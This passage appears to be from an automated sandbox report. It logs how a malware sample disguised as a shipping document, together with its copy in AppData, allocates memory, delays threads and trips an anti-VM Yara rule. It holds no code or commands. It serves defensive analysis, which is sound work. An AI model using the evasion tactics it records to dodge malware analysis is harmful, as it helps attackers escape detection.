Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Shipment advice H-BL Draft.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PrcGlGVKeUCXxg.exe PID: 1340, type: MEMORYSTR

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Memory allocated: 16B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Memory allocated: 3120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Memory allocated: 5120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Memory allocated: 7EC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Memory allocated: 8EC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Memory allocated: 9070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Memory allocated: A070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Memory allocated: DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Memory allocated: 29A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Memory allocated: 49A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Memory allocated: 18B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Memory allocated: 3360000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Memory allocated: 18B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Memory allocated: 7980000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Memory allocated: 8980000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Memory allocated: 8B10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Memory allocated: 9B10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Memory allocated: 1480000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Memory allocated: 2DE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Memory allocated: 15D0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599436	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599108	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598780	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598452	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 598010	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597796	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596921	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595171	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 595058	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Thread delayed: delay time: 594613	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 599766
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 599656
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 599547
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 599438
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 599328
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 599219
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 599094
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 598982
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 598860
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 598735
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 598610
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 598485
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 598360
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 598235
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 598110
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597985
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597860
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597747
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597625
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597516
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597406
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597281
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597172
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 597047
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 596938
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 596813
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 596703
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 596590
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 596469
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 596341
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595982
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595865
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595749
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595625
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595516
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595406
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595297
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595187
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 595078
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594969
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594859
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594739
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594610
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594500
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594391
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594281
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594172
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Thread delayed: delay time: 594050

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7118	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 800	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7915	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1124	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Window / User API: threadDelayed 6904	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Window / User API: threadDelayed 2954	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Window / User API: threadDelayed 8054
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Window / User API: threadDelayed 1793

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 7568	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7260	Thread sleep count: 7118 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7260	Thread sleep count: 800 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2496	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4348	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7372	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -30437127721620741s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 7672	Thread sleep count: 6904 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 7672	Thread sleep count: 2954 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -599546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -599436s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -599108s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -598780s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -598671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -598452s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -598343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -598010s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -597796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -597687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -597468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -597359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -597250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -597140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -597031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -596921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -596812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -596703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -596593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -596484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -596375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -596265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -596156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -596046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -595937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -595718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -595609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -595500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -595390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -595281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -595171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -595058s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -594953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -594843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -594734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe TID: 1396	Thread sleep time: -594613s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 4068	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -25825441703193356s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -599875s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 8188	Thread sleep count: 8054 > 30
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -599766s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -599656s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 8188	Thread sleep count: 1793 > 30
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -599547s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -599438s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -599328s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -599219s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -599094s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -598982s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -598860s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -598735s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -598610s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -598485s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -598360s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -598235s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -598110s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -597985s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -597860s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -597747s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -597625s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -597516s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -597406s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -597281s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -597172s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -597047s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -596938s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -596813s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -596703s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -596590s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -596469s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -596341s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -595982s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -595865s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -595749s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -595625s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -595516s >= -30000s
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe TID: 768	Thread sleep time: -595406s >= -30000s
